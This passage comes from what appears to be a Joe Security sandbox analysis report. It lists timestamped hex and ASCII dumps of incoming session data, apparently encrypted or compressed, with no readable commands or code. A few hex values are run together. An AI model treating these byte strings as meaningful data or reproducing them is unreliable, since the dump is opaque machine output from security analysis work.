2022-01-15 19:23:31 UTC 1867 IN Data Raw: 4d 09 50 8c 3f 3e 03 31 89 8c 42 29 0d 95 a1 ab bf 5a 2d c7 e3 cf e5 57 83 6c df 3f 48 b9 a3 03 73 b4 bd e1 60 ef d7 68 ed 73 03 08 ab 3f 40 c2 aa f6 12 4c d8 1a 41 6d a5 81 25 9b 84 7a 6a ef 3e c7 eb 33 29 76 c6 b5 55 86 28 4c d5 e7 db ef a4 60 83 01 e4 f4 16 ea d9 89 9c 5f 27 f3 a6 6f 01 24 f0 dd b9 45 35 7a 88 d0 c3 01 9e 4c 0b 62 1f df 48 65 f6 d8 8d 35 8a 94 a8 6e 76 89 fe 1d 3a 51 c2 dc d8 b1 13 74 9f 40 72 d4 cb db 00 42 ba 83 94 ef dd a2 3e 8c a7 e3 8f 53 43 64 8d ec d0 28 9b 7b aa 80 76 85 a2 b8 90 7b af 25 f2 cd 7c 75 0b e4 7f 24 af 66 97 61 d8 75 22 49 de 71 5d 4a 2b 75 cd 9c b8 65 48 20 1c e9 34 9c 3b 07 59 2e ba aa 5e 06 fe 59 9d 2e c0 30 38 2a 31 fc 1a d7 3f 7d 80 f5 3c 43 df 82 05 51 36 1a 36 a0 a5 c4 be db c9 71 3e 37 30 80 4e 15 81 a3 32 Data Ascii: MP?>1B)Z-Wl?Hs`hs?@LAm%zj>3)vU(L`_'o$E5zLbHe5nv:Qt@rB>SCd({v{%|u$fau"Iq]J+ueH 4;Y.^Y.08*1?}<CQ66q>70N2

2022-01-15 19:23:31 UTC 1883 IN Data Raw: 10 a6 41 77 07 94 a4 e4 73 05 0b bc 9e 22 65 b5 0f 99 91 61 14 1f c5 f9 44 8e ab a1 ce 5c e6 48 58 3f d6 c9 ea 5b f0 ff 68 1a 6c 06 24 d6 56 9b 66 1f 32 ca bd 1f 52 09 71 73 6a 24 47 fd ba 64 81 ec 08 98 9a ca 5b 3a 65 10 e9 ea e2 9c1b 0f 81 dc 77 ed c5 6f f4 f8 8f c0 67 f7 cb ed 0b 86 22 6a d2 a5 46 66 63 85 88 0a 10 b6 26 37 da f6 9a f4 70 53 0d 11 b4 5b 1c 39 49 70 f5 84 37 0d d9 f8 bb 59 fb e4 a0 ed 4d d7 54 c0 a8 91 2e d6 fc fa 0d 7e f1 f2 ce b8 f0 fe 16 af 76 ed 75 6b a2 1c c4 f7 ef b8 ab 15 44 ae 37 1d 2a 8f ae 03 0b 94 41 00 f0 64 8b 80 1e 76 1b 1d f9 1c 85 92 15 9c bc 48 b5 0c fa a9 da 79 98 83 ee 6e ad b5 e8 25 2a 42 a6 66 1b 0b 99 30 47 4b 62 4a 7f d7 00 43 3b d5 fd 14 0a ff b5 8d 7c 2e 8d 87 c2 63 30 81 64 8f d4 eb 8c 62 14 97 07 0d 2c dd 84 Data Ascii: Aws"eaD\HX?[hl$Vf2Rqsj$Gd[:ewog"jFfc&7pS[9Ip7YMT.~vukD7*AdvHyn%*Bf0GKbJC;|.c0db,

2022-01-15 19:23:31 UTC 1899 IN Data Raw: 30 87 ff b7 ea 97 41 ab f6 77 a8 36 fa dd 47 3a 87 09 47 e8 eb 96 7f ac ee 94 4a 00 80 94 8a d8 31 18 81 df b3 8e 9b 55 ac a9 c3 7a 0e 9a 4d 4a 83 b1 2f ed 7b 90 71 b5 87 a9 47 57 a0 4f 53 b3 50 cb 37 3e 26 29 ad 2f ca 86 f3 2c 59 cf c9 b5 a6 fe 87 94 22 95 ea da ab 8c 7e 3f cc 1d a6 16 3d 25 7d 9f 59 97 9d b8 ef 43 2f f4 79 1b b8 14 ae b2 51 d2 a7 34 2a a1 1c 99 cb 92 67 93 9e 83 11 0e c9 3c 6b 9b 54 ef f7 a5 e2 d8 e9 4e 17 78 26 79 c5 85 93 3c 1a 5f 23 f8 92 b3 fb 63 a7 24 f7 66 9e e3 8d 24 7c 86 d4 4a 61 d7 0b 58 4c 78 49 c1 ec 36 6f c4 6f dc 8f 7d 5b f3 b8 8e c9 e1 01 57 1e 4d 24 d8 00 45 99 19 1c 51 c1 9f 63 d3 80 c7 5d 30 f9 31 7f 29 6d 61 4a 38 71 da 01 99 43 ad db 23 7c 83 39 43 6a d9 a5 b7 c3 b2 9b ac 82 12 f6 c8 14 6c 14 79 0d b9 b5 e2 1d 6a 7d Data Ascii: 0Aw6G:GJ1UzMJ/{qGWOSP7>&)/,Y"~?=%}YC/yQ4*g<kTNx&y<_#c$f$|JaXLxI6oo}[WM$EQc]01)maJ8qC#|9Cjlyj}

2022-01-15 19:23:31 UTC 1915 IN Data Raw: 40 86 3f 3f 60 b1 4c 47 5b 04 72 66 ea 16 2e 04 66 72 82 f8 5e 6f 6b 31 e7 b4 4c a3 9d f8 c8 eb f0 a0 40 1d 9b 33 b6 98 1a a0 3b 40 9d f1 5b 3d f2 ad 84 92 5b e9 0b 67 91 ec 82 6b c7 d6 86 20 50 b3 76 32 1d f4 8c 87 ba 03 21 b7 38 42 b4 ad 8e 8a fa 24 f7 52 71 a1 cb 43 6d db 92 e1 f8 99 29 7a b1 57 18 36 2e 5d 5e 91 2d a8 37 c6 52 2d 65 41 67 73 f5 da 11 4f 86 bb 17 9a 20 9e 6e c5 38 a8 72 b7 43 e0 8d eb 10 72 a5 4a a4 d4 14 51 03 94 30 24 3f 95 ae 74 35 9a 55 94 2c 13 8a 93 c9 65 1d bb 0b ba 2e 4a aa 23 88 85 7b a8 a9 d6 e8 08 eb 9a 13 30 0f 8c 0a b9 f3 4f d4 08 31 b2 32 a0 71 5a f9 75 f3 f1 eb 62 7f ad 08 d6 26 9e fc 47 ed 35 16 b5 d0 be cb 50 8e 22 e2 c0 09 2a c4 e9 4c 33 27 bb 99 30 ac 53 d1 a6 86 62 2a 49 f8 d8 93 e5 ea ba 17 d7 1c 11 ba af fb e1 c8 Data Ascii: @??`LG[rf.fr^ok1L@3;@[=[gk Pv2!8B$RqCm)zW6.]^-7R-eAgsO n8rCrJQ0$?t5U,e.J#{0O12qZub&G5P"*L3'0Sb*I

2022-01-15 19:23:31 UTC 1931 IN Data Raw: cd 46 d9 ac 9d 22 73 28 0e 57 3a 7f c6 9e fa b4 b2 c9 ec 5f c7 dd 9f 3a 42 81 fe 90 1c 45 2c 9b b8 5e 71 97 74 e2 c5 48 61 2f 35 8d ec 03 df bb 58 70 b8 46 c5 00 78 b4 86 17 18 d9 d5 54 ec 4b f5 44 3e e3 39 3c 12 89 3e be 33 d4 56 31 35 fb 6d 13 31 0a 93 13 e4 66 c2 36 2c 61 8b c3 5b 45 28 89 e3 c1 6e 29 f8 2c 46 f2 ba 56 33 85 58 fd 77 d5 23 db 19 2f 8c 25 bc ff 38 a3 88 05 5a 26 c7 95 73 3d 37 0b 8f 29 a4 1b fc 38 12 ec 31 e9 da 05 e3 04 da 84 d3 31 ff fd 41 56 53 cf fc 68 bd ff 87 f3 55 5b 57 0c c2 51 fc 91 94 aa 7f ed 85 86 ae b5 31 82 2d b2 05 12 6d f4 54 e0 a9 69 cc b7 f9 68 88 07 91 aa d4 07 29 0e fa 12 c8 17 01 41 ad c8 6c a1 54 fa 9d 2d 63 7f 1d 61 e5 3b d2 b1 d6 cf ca 98 af fd 22 a6 26 3e 87 5e 79 19 7a 74 a6 73 a4 43 d5 57 3f 5e a3 6b a2 57 4e Data Ascii: F"s(W:_:BE,^qtHa/5XpFxTKD>9<>3V15m1f6,a[E(n),FV3Xw#/%8Z&s=7)811AVShU[WQ1-mTih)AlT-ca;"&>^yztsCW?^kWN

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 42 of 103

2022-01-15 19:23:31 UTC 1947 IN Data Raw: ba 8d 8c 57 30 e1 62 13 7f be 97 2b c6 46 5a 0e cc 43 93 cc 30 96 47 38 c5 88 2f 36 0c b8 80 dd c5 76 57 c1 c9 ed 29 ae 6a b4 eb 00 7c 05 ac dd fa 53 fb 16 25 3a 41 e1 e5 56 93 2d 94 76 a2 0c 7b b2 19 93 3e e2 94 96 e9 b7 85 d8 db 9f a7 8c 6c fc f6 96 b1 a5 0f a4 40 82 c0 a3 e8 3d f1 6f 06 11 2d f8 7a 74 a1 c0 31 fa 56 fc d3 7e d4 de ef ba 71 99 01 9c 87 20 82 93 55 da cd fc 90 94 7d 1e 76 d7 a7 f6 b2 1f 67 8b 2f 96 9c c3 8d 08 32 78 b1 c8 bf df 6c f6 76 2b e3 89 be 2a 57 69 19 3a d6 2e b5 5c 11 50 b7 e4 b8 b5 1a 41 5e d9 d1 41 f2 37 ff 3a bc ad d5 31 ca 9d 36 3c 2e 51 84 dc 75 97 78 31 82 52 1e 62 21 58 7a c3 a6 6c 67 c1 5f 60 34 f3 bb c3 55 0e da 39 49 5c 0f 57 af b5 b5 1f 89 c8 a7 7a ef cb 18 b8 1a 67 d0 22 12 c8 3f 9c 42 4d ed ab 72 1c 4e b0 f1 9b 1a Data Ascii: W0b+FZC0G8/6vW)j|S%:AV-v{>l@=o-zt1V~q U}vg/2xlv+*Wi:.\PA^A7:16<.Qux1Rb!Xzlg_`4U9I\Wzg"?BMrN

2022-01-15 19:23:31 UTC 1963 IN Data Raw: 63 e7 d2 75 8d 9a 10 7f 23 b4 d6 48 9f 78 66 ea 82 b3 19 8e c8 3a 5a dd 0e 65 56 87 6c 06 98 e2 e3 74 b1 65 7c 6c 05 b0 e5 cc a1 81 1b 1f 6a a1 ed 29 39 69 dc 6f 7f aa ab a1 7c 58 cd 6f 9b 08 b6 d3 8e 8d f1 94 16 6a 43 ac 96 14 c8 80 aa 77 6d 3c a6 0f 62 99 ca 58 72 df 31 34 74 d6 06 a2 13 9e ee 20 83 23 c6 2b 4d e8 a6 fd c9 ca d3 46 fe d1 75 68 b5 1a 2c e1 f3 75 7f 79 27 5a 6f aa c8 38 d0 44 45 53 8c 13 b5 b8 2e 3c bf 0f df 5c 3b 3d 22 a0 1d 37 01 ad cb af 17 36 85 21 21 f0 df c7 31 99 67 43 a8 ed 64 a9 b3 0b 30 2f 55 75 20 da 31 ea c9 94 77 d2 18 03 76 50 2e 0c af 88 20 94 7d b4 fd 35 79 31 02 51 cf 31 ed a7 ae fd 68 8e e5 26 3d 8e 42 c8 47 2a 2b 8c 80 5a 6e a8 3e a5 50 51 45 98 59 9b b4 45 ed 4b 6b 76 7f c7 fc b2 45 ed 15 23 c0 da eb be b2 b3 ee 44 ca Data Ascii: cu#Hxf:ZeVlte|lj)9io|XojCwm<bXr14t #+MFuh,uy'Zo8DES.<\;="76!!1gCd0/Uu 1wvP. }5y1Q1h&=BG*+Zn>PQEYEKkvE#D

2022-01-15 19:23:31 UTC 1979 IN Data Raw: 9c dd b8 8e 9c 72 b9 bf d5 9b f0 8f 56 a8 45 89 6e 37 43 4a 7d b6 61 68 ab 40 ed ac 9f 47 cb 1d 2b 7a 07 44 fb 04 2e 39 65 fc 90 98 1f 7f 3f 4b 17 73 8d ed 09 b4 6f 30 b0 8b 7d ae cf c0 1a bf e8 f1 f0 9b 5e 26 68 20 33 33 61 36 44 d2 30 54 10 dd d0 b1 09 2e f9 d2 c4 48 bd 07 1c 65 92 cb 88 59 7f 00 99 0e 57 cf c3 34 53 bd 14 77 15 40 be 72 36 5c 0c 96 24 f5 ed 9d b1 2d 03 9c 8a bd db 8f b9 7c 01 9b 00 24 1f 5f e1 b9 93 57 9a f9 23 ea 29 17 14 c9 13 14 78 f4 57 f8 95 85 07 ee cd 49 31 22 b5 36 45 fb 2a 1e 57 40 3e f3 60 9c 6c 8e 8d 5f 48 e4 b9 15 aa 08 e8 9a f8 7e 30 0f b8 73 47 6e 9a ee 2d 3b b8 f1 26 23 1e e3 15 cd f6 45 e3 33 dd 2c 83 f9 d7 1d 6d e9 dd ac cb 41 73 f7 5f 3a 43 b7 d5 63 73 1b 8e b8 5d e1 f1 65bf 50 8f 46 cc 3c 69 8f a2 76 24 00 d8 41 aa Data Ascii: rVEn7CJ}ah@G+zD.9e?Kso0}^&h 33a6D0T.HeYW4Sw@r6\$-|$_W#)xWI1"6E*W@>`l_H~0sGn-;&#E3,mAs_:Ccs]ePF<iv$A

2022-01-15 19:23:31 UTC 1995 IN Data Raw: b8 3d 40 bc 75 5e 20 c2 2e 76 e7 90 ff 6a be 2a 2f d9 ed 55 88 7c c5 f2 6c a7 66 36 26 8a 42 eb b3 81 0d 80 b0 6c 6c 47 32 74 42 c9 ec 4d 97 eb a9 85 3f 52 bf 5b 7e d2 51 06 6a a4 8e 2b 1d 0b 17 b7 48 83 cf 05 70 0e 42 80 e1 88 4e 8a 93 ae 4c 6d 5f c1 8a 7b 34 e9 0c 95 eb d8 62 8c dd 2e cb da 20 7d ab da c5 65 7c 0e 5b 5e e5 5d 05 c2 25 c4 f6 3b b8 d9 fd 3b 04 76 3a a7 90 9e 0d 67 82 8c ef 02 3d 0c 62 be 32 05 c5 f6 b1 30 39 d3 41 7a 22 26 49 e6 71 67 3f 98 13 89 e8 a4 1f 33 80 af c9 5d 0e f6 1d 96 a2 56 95 40 2c 2f 95 98 43 c6 91 8d 69 2e 5f df 82 fe c1 f8 db 69 75 23 aa 08 16 5c 3b 5f d1 9e 24 31 65 67 81 5d fd 26 10 3f cc 6f 81 01 40 d4 05 6f 20 76 59 61 7c 80 2b 6a bf 10 c2 05 b1 1f 26 4a a2 ed 63 b6 9853 a5 49 74 ed 52 42 0e 63 df d5 e0 bf 78 09 03 Data Ascii: =@u^ .vj*/U|lf6&BllG2tBM?R[~Qj+HpBNLm_{4b. }e|[^]%;;v:g=b209Az"&Iqg?3]V@,/Ci._iu#\;_$1eg]&?o@o vYa|+j&JcSItRBcx

2022-01-15 19:23:31 UTC 2011 IN Data Raw: a2 c0 10 29 6c 91 ec 1d 14 ff 83 22 16 e1 b1 65 d1 d5 c3 7b b6 68 ce af 65 6c c5 ca 1a 61 0b 3a 1a 8c 55 32 21 ed 2f 43 35 be 84 38 32 c9 dd 16 80 bf bd 5c df 70 80 fd 9c ab b8 5f 1a 01 f0 f3 06 88 81 c2 b9 ea 32 df c2 82 d3 ee 31 5a f8 82 58 66 0a f6 ef 7e 1b 44 e8 d5 88 82 6f c3 f8 17 42 da be 0f 8d c7 92 b7 d7 2c 66 0e 20 76 a6 fe f0 dc 6c 27 1c c5 ae f1 d6 df 54 2a 96 56 75 f2 2f 24 e9 0b 84 66 de ab ec 2c 14 c7 a0 c9 ce ff 82 aa 82 ab 42 31 09 30 1f 73 eb fb 0a 53 18 51 45 91 62 56 fc 34 a7 8d 9b 93 f8 79 b6 75 d8 57 9b 44 30 ee 8a 73 56 cd 96 b7 00 96 af 12 67 ab fc 02 b1 81 03 8e 14 5f d7 74 0b 7b 47 0c f3 af 49 71 04 b1 8d 41 29 ce 92 60 ee 42 14 bc 38 40 53 41 1b 23 45 41 e8 6a a8 95 32 a2 72 5e de 82 4c 35 d8 c9 5d b9 ae b1 74 93 52 97 5b 43 be Data Ascii: )l"e{hela:U2!/C582\p_21ZXf~DoB,f vl'T*Vu/$f,B10sSQEbV4yuWD0sVg_t{GIqA)`B8@SA#EAj2r^L5]tR[C

2022-01-15 19:23:31 UTC 2027 IN Data Raw: 04 a2 f3 0c 93 0a d7 ce dd 89 86 df ad c6 db 0b 0e 2c 58 13 81 a2 9f ca f3 c4 0a c0 bd 6d b2 99 56 1d 32 e5 3a 12 cb 7b 69 96 fa 0a c4 c0 ff 25 db 62 47 b7 7c b5 3f a6 82 c5 06 56 60 d6 04 a9 c2 4c d4 5b 82 15 b1 b2 98 da ff 10 a7 85 33 1b d1 0f 43 7a f4 65 c5 d8 12 42 00 64 6e c9 18 37 35 3a bd 54 07 90 33 29 19 a5 83 65 c3 32 2b a1 ae 05 f6 62 ba d7 56 4c 8a 13 cc 25 cc 44 89 ff 2b da 9f a6 24 d0 95 6c bf 3f 77 0a f9 4a b0 6b 6f 18 35 3b be db b5 08 b0 10 07 7e 1c 2b c0 e3 6b 6b ea 2c d1 d8 00 ca b5 c5 36 ef 0c f8 5b 27 91 79 7b ed 31 4a 42 98 01 5a 2e 0b 74 21 0c 6b a3 5b bb 9c 41 8d b9 35 6c d5 ec 76 b1 03 06 2c 82 a5 83 47 d7 23 c5 a9 f6 14 71 97 2c 05 3f df e2 3b 13 13 ac aa 5e 7a 40 e1 71 3c b1 25 4d 3e d1 7d a2 36 22 7b 16 03 ae 5e 47 97 c1 5d 33 Data Ascii: ,XmV2:{i%bG|?V`L[3CzeBdn75:T3)e2+bVL%D+$l?wJko5;~+kk,6['y{1JBZ.t!k[A5lv,G#q,?;^z@q<%M>}6"{^G]3

2022-01-15 19:23:31 UTC 2043 IN Data Raw: 34 c6 ec e0 2e c4 ff 21 85 65 05 ae 82 a6 e8 57 bf 0f 4d 05 c8 37 58 5f 8a 3a 6e 7b 85 f5 4b 11 89 23 01 93 f6 27 64 0f 8e 8e 0b d8 ba 1c 10 1a 72 2a 58 74 d6 37 34 25 da 98 68 af e9 40 3e 74 2e 17 a2 44 cc 95 71 7c 60 65 86 c3 ca aa a6 10 56 bc a9 79 44 27 6d 43 ea 2e 9e 1c b0 aa 20 60 8a 37 ec f1 d8 4f b9 e6 0f af d4 0e e6 e4 95 df 66 01 35 ae 8f 8209 dd a0 c8 04 27 2d 77 3a 69 98 6f b3 36 66 e4 a3 eb cb 27 45 9b 3e 4b 86 eb 45 9c 4b 08 8d 1f 57 06 92 f9 18 77 be e1 4c 6b 84 d0 98 fa 63 52 9f 0c 3d 33 e1 b9 f8 e9 4d f0 81 79 1f 69 c3 62 ee d0 14 cf d2 31 ae 5c fc 68 26 02 b2 c7 c9 77 c9 97 59 bb d7 46 44 6c e9 06 87 14 9a 2d 7f 46 75 4b 02 6b 31 45 61 1a b8 fc 86 47 de 48 17 9a 4e 26 53 4e 57 f4 0d 8b d1 08 27 60 64 df 46 f4 ee 2b 20 69 a9 65 c1 36 b5 Data Ascii: 4.!eWM7X_:n{K#'dr*Xt74%h@>t.Dq|`eVyD'mC. `7Of5'-w:io6f'E>KEKWwLkcR=3Myib1\h&wYFDl-FuKk1EaGHN&SNW'`dF+ ie6

2022-01-15 19:23:31 UTC 2059 IN Data Raw: 70 79 b5 d9 f6 c7 b7 00 83 d3 dc 16 68 04 4a 7e 4d fe 71 f4 68 59 45 33 c2 6a cd f6 81 dd 21 31 e1 9a ee 8c 01 c0 f2 a0 44 2f 22 9c f6 a7 69 9d 06 66 85 bd 8f d4 22 97 d3 cb b5 9c 08 c2 b1 b3 00 84 fd 2a 49 90 c3 04 ba 3d 64 bb 2d 5a d5 e1 0e 36 c0 a1 17 11 fa 37 6a 50 4b 39 b7 84 90 0a 21 37 b5 e3 b6 98 df 41 89 85 d5 d9 4c ff f2 e8 bb 3f 7b 75 27 a0 bc 13 a7 83 19 3e 45 54 27 d5 d8 db 41 97 49 aa 89 9b 9c 0a 5d 72 b3 01 27 f7 4d f1 e1 be 61 b9 6a 71 91 ac dc 4d a4 d9 f8 fc 6d 73 d4 73 8a 86 03 bc 64 d7 0c b8 1e 9c 75 6d e8 df a4 3b 98 de fd db df d2 da b7 65 18 9d 92 2a 5f bd 3d a9 73 bf 91 c3 4a 38 a6 73 cd 20 3f a7 90 21 61 2e 04 4e 4e 32 91 09 44 7f 0b 79 8e 14 24 80 bd ed 46 74 8d d0 dd 46 99 98 80 98 be ee d3 a5 51 7e 2b 72 5e 35 f5 18 97 f2 29 4b Data Ascii: pyhJ~MqhYE3j!1D/"if"*I=d-Z67jPK9!7AL?{u'>ET'AI]r'MajqMmssdum;e*_=sJ8s ?!a.NN2Dy$FtFQ~+r^5)K

2022-01-15 19:23:31 UTC 2075 IN Data Raw: 1c 89 c9 df b6 37 68 c6 a6 b8 d1 31 3a fe a2 fb 3f d3 ab ed dd 75 a5 34 08 22 8b 8a 42 be 90 c4 28 d1 2b 03 28 9e 69 27 2f 99 54 97 7c 87 7d 1e a0 94 8a e8 62 76 8a a9 fc 5d 02 93 72 3b e6 e3 09 e6 51 d1 b0 a0 39 c1 84 68 db 27 1d 88 d0 c4 4e 74 1f 87 c1 30 9c a0 2e b1 96 9b fd ed 9a 9f 8f fa ff 61 3e 80 49 98 7d 6b 70 b2 fb 2c 4d 3c bd 78 eb 6b 8c 18 90 37 ea ab fd 5b d2 45 c4 6c a3 ef 76 55 b2 07 9c 77 f6 e0 71 1d e4 ac 93 66 dc c6 5d 89 c4 4b b5 99 53 9c dd 7b a3 94 e8 da f9 d1 0a 1f 91 a4 f3 a7 13 f1 90 98 35 e0 0f b1 90 e3 23 cc 4e b8 ab 0b 3c 35 ed f0 13 7b 67 7d 39 96 11 78 b0 f9 b9 23 e8 22 74 a4 bf 7d d0 84 f0 12 c3 5e c7 6d 9d ca a1 98 10 59 98 10 0f e3 b5 1e 9d 59 67 9d 55 08 14 39 0f 50 5c d0 29 f4 64 33 e7 7c 79 28 61 00 1d ba 85 b5 ba 41 d5 Data Ascii: 7h1:?u4"B(+(i'/T|}bv]r;Q9h'Nt0.a>I}kp,M<xk7[ElvUwqf]KS{5#N<5{g}9x#"t}^mYYgU9P\)d3|y(aA

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 43 of 103

2022-01-15 19:23:31 UTC 2091 IN Data Raw: a3 63 03 67 6a b7 60 8f f4 17 5d 30 aa d9 c7 d6 0f 20 db b8 3d be d1 64 bd a7 92 c6 8d ba 8f 0e ad f7 69 17 63 93 63 44 10 5e 73 b2 8c 22 52 76 03 ed 25 55 0c 39 5d fa a0 6e 4a 33 82 cf 10 05 df ea fb 77 c3 ca 1a 25 cf 29 fe a6 43 6b28 71 ec 0f 9c 71 3b 93 19 7e 04 f1 bb ec 73 57 c4 57 98 55 9b 7c f1 ba bc 42 2f 6a 80 56 61 13 eb 15 63 ce 20 6c b2 c6 8c ab 40 34 7a 6c 7b 09 d1 0c a1 2c 11 77 ae 22 b7 58 9c 62 b4 62 3d 0b 6c d2 8d 16 1e 06 f5 56 f4 b8 75 22 bf 60 0e 88 f5 18 e4 e8 4e 6b 53 8f 51 30 d5 2d 41 60 dd bf e1 d0 a6 ae 15 21 b7 c1 18 25 0e db d8 cb b8 48 38 fb d7 55 df 6e 14 26 cb 9b da 5f 10 f6 0d e1 21 41 9d 59 08 a7 32 19 eb 06 1e a3 c1 ea 51 d0 8a a9 a5 8f ac a1 1c 00 d8 1d 1f 44 95 70 16 ba e3 ff 54 ab 7d 2d fd c6 b7 76 c2 1f ff bd 2d 1a 45 Data Ascii: cgj`]0 =diccD^s"Rv%U9]nJ3w%)Ck(qq;~sWWU|B/jVac l@4zl{,w"Xbb=lVu"`NkSQ0-A`!%H8Un&_!AY2QDpT}-v-E

2022-01-15 19:23:31 UTC 2107 IN Data Raw: cc 07 67 50 32 7b a6 fa f1 f8 d4 fb 6b cb a7 db fa 94 d0 50 66 78 aa 84 81 2b bf bd ca 46 c5 43 0e 0a 40 17 12 22 f9 e0 66 28 79 ab 9a 00 b7 5a 15 a6 1f 10 5d 97 a3 83 e2 90 1e 24 e0 d9 75 5a a3 a3 b9 f1 3d 2d da 6c 4d a2 de 8d 25 74 4a df dd 1b 4e 24 62 2f 07 71 ba 0f c8 73 1c ac c2 c0 51 5c f0 72 b7 f4 7f 78 54 0e 47 17 fb 1b 5a 54 df 2b 27 cd bd f1 f095 e4 28 6e 1b 32 cb 02 cb 49 1d 37 3f 4d 26 19 2a 7c 2a 00 b1 8a 14 cc bb c4 f5 d9 1c 58 17 02 7a f5 2d e2 bf 26 6b 6f 36 7c c8 43 73 0a 45 f2 6c 2a 94 9e 79 42 52 7f 3e 2c c3 39 ea a1 70 bf d5 87 18 33 bb d5 c0 2c 69 a7 0b 42 8f bb 49 82 a2 7a 1d ff b4 b0 ff 7f b3 7c 47 f4 9a 0f 86 58 31 70 0f 44 25 cf 6e 1d 5e 80 06 53 aa 28 e8 5d 04 99 07 48 1c 63 2b 5c 18 3d 07 fc 99 97 d1 a5 a0 8b ab 7a e5 66 92 b6 Data Ascii: gP2{kPfx+FC@"f(yZ]$uZ=-lM%tJN$b/qsQ\rxTGZT+'(n2I7?M&*|*Xz-&ko6|CsEl*yBR>,9p3,iBIz|GX1pD%n^S(]Hc+\=zf

2022-01-15 19:23:31 UTC 2123 IN Data Raw: e9 b8 c8 13 2d e7 a1 9f e0 99 c3 b6 c1 e0 f7 b6 63 92 be 1f ce cc 97 86 84 5b 2d c3 b9 fc 82 4a 98 c0 db cc 09 e8 e5 cb e6 32 6f eb 22 56 bc a8 4d 9a f8 42 fd 36 5b a7 ef 4f 5c e5 c7 96 0d d1 20 7e fe 83 81 91 59 ce 40 d9 6c 60 47 1326 bb 63 9c 5a 04 67 21 c0 d1 c1 94 95 13 80 29 6b 43 d0 1e c5 1e ad cb dd e9 f3 73 15 27 b4 0e ab 88 16 ca 44 1a c8 3d60 a2 e2 60 b6 5d 9a ca 45 b1 02 d9 a3 ba ea 8c 79 e7 e6 be 6c 9e 30 06 75 4d 99 55 a9 ed 3d 53 68 20 67 39 88 1f a5 c6 f8 45 2a a8 d5 7a f1 ef 5a bb 89 cf 92 3e ef 54 db 88 bc f7 41 7b 5b c4 ff 29 3c a3 eb a6 68 0f 64 39 4d 8e c1 22 57 25 d5 f2 11 b1 d7 e6 df 40 33 89 6a 9d 0e 4d 95 23 1f ea ff 85 dd be ef 59 c6 1e 89 75 51 da 16 b8 9a be e2 2b 87 61 8a b4 df 63 87 6a c9 68 91 07 af f8 58 35 1c fb e9 7a 43 Data Ascii: -c[-J2o"VMB6[O\ ~Y@l`G&cZg!)kCs'D=``]Eyl0uMU=Sh g9E*zZ>TA{[)<hd9M"W%@3jM#YuQ+acjhX5zC

2022-01-15 19:23:31 UTC 2139 IN Data Raw: de 26 87 14 17 a7 6f 02 ae cf 55 8d 2d 7d 3d 73 af cc 71 e9 5e 68 0f ff 61 49 93 9d be d4 77 70 95 3d 82 f3 2f d1 d0 11 0d 9d 18 28 d7 cc 3d e5 67 b0 cb 8e 49 93 c2 b3 be bf 96 b2 91 ed e8 e3 29 a2 98 70 1b b9 10 f0 40 49 fd 98 ae 37 3b db 81 6b 6a a7 3f 8e 75 82 60 95 ae a8 3e 67 7c 33 af b7 d5 d6 a3 3f ab 15 d0 24 4d 0a ff 30 cb 54 f3 24 70 f4 08 14 3a 2b 6b 2f 4d 33 9d bf 81 e2 8e 5d 65 46 c1 d7 63 5b 0c 2a 7e 1f 71 5c 87 78 24 92 54 b8 a3 61 07 dd a0 d4 6a ae a0 bc 24 c4 8c 5e 54 52 d9 5f bb f3 45 6c fb 45 7b 4a 50 6a 38 2a eb 78 9b 25 49 fb 2a 28 eb 60 41 cb 25 6c 87 6e 77 c5 eb 14 a1 2a 59 59 46 a7 15 9f a4 24 44 2f ef 35 57 77 9f be 40 6e 30 5a b9 84 df a8 62 7b 49 36 9d e8 22 ed a8 ed f1 35 d5 c6 3e 02 a4 62 9d 08 42 ff da 3c a3 08 2a c5 e5 2b fd Data Ascii: &oU-}=sq^haIwp=/(=gI)p@I7;kj?u`>g|3?$M0T$p:+k/M3]eFc[*~q\x$Taj$^TR_ElE{JPj8*x%I*(`A%lnw*YYF$D/5Ww@n0Zb{I6"5>bB<*+

2022-01-15 19:23:31 UTC 2155 IN Data Raw: af 08 aa e2 b7 d8 ad ee 24 66 38 36 41 ea 14 df f2 a0 b8 a3 03 11 18 6e ba 79 10 6d e0 63 db 05 ee c9 f8 0a 19 86 dc 57 91 91 ba 82 3e f4 43 0a 04 fb bd 06 cf c2 17 f3 2f 0a 84 1a 07 a7 a7 62 e5 8d e3 06 11 b6 30 64 6a a8 6d e3 29 9c 7e 49 21 b6 65 34 9d cd 29 35 40 9b 06 23 b4 04 fe 62 88 cc 0a 40 a8 60 a0 f4 d7 55 ca 49 de 92 c2 4a 93 52 80 c2 08 90 82 9f 95 b3 9e 25 4f d1 5e 18 6b a1 06 a4 94 78 0d a8 f2 3a 90 e2 7a b5 a4 c5 28 7a b6 70 b7 0f f2 65 a9 80 c8 8f ee 9c f2 cb f1 37 d1 e1 d7 90 e4 7d 79 32 e0 22 f6 c4 c3 78 69 c9 6f 61 dc af d9 bc 88 af c2 db 8b dd 73 cf 5e c7 cc 9d ac 03 f1 be f6 e2 c3 a4 ec a5 77 56 06 10 24 af 9a 18 d1 0e 3d f7 5e aa 7c d2 b7 18 4b f1 ea 7f 24 f6 bc 6c e8 bf 15 cd 4d 71 b6 20 58 c6 16 2a 5b c3 49 ff 2d 86 74 fc 71 91 1d Data Ascii: $f86AnymcW>C/b0djm)~I!e4)5@#b@`UIJR%O^kx:z(zpe7}y2"xioas^wV$=^|K$lMq X*[I-tq

2022-01-15 19:23:31 UTC 2171 IN Data Raw: e3 2f a1 c6 0e cc f4 9d 18 46 56 2c a9 05 3d 55 e8 54 c6 ff cc 15 3c 9d 7e 30 50 6b bd 4b 31 73 9f 1d 7d 6a e7 25 5f 21 4f 4a 34 eb ef 40 d4 fc a5 62 4b 3c 21 7f f1 8c 84 20 7f 73 84 90 6f 29 7d 61 a7 31 52 6a b7 4e c3 ae 1e 60 a4 05 37 ec 52 b3 eb 96 da 10 10 be fd e4 3a ce c9 f2 a6 0e cc 63 aa 2e 86 cf 6b 4d 93 4e 86 c8 6d 9a 10 2a a3 3c 72 8c 27 04 d5 6c 8f 91 0a e2 48 bc bd 47 cf b1 eb 8a 82 3d 2a eb bc cd 83 04 8e 79 27 bf 2c 1c 8f 33 38 38 cc f7 a6 d3 f7 c0 2a 71 e1 da dd 6b 10 60 b3 8f 6f 7f dc e1 50 0b 63 a9 7b 9f a9 45 41 05 c8 8f 12 81 2d 04 a6 78 d7 09 c5 43 33 6a af c6 1d 4e 66 6c 54 bd 4f da ce ef 36 6e d8 10 d0 6f 6e d1 68 00 0f f1 cb d9 62 b4 64 37 d9 57 fa 29 d9 15 5d 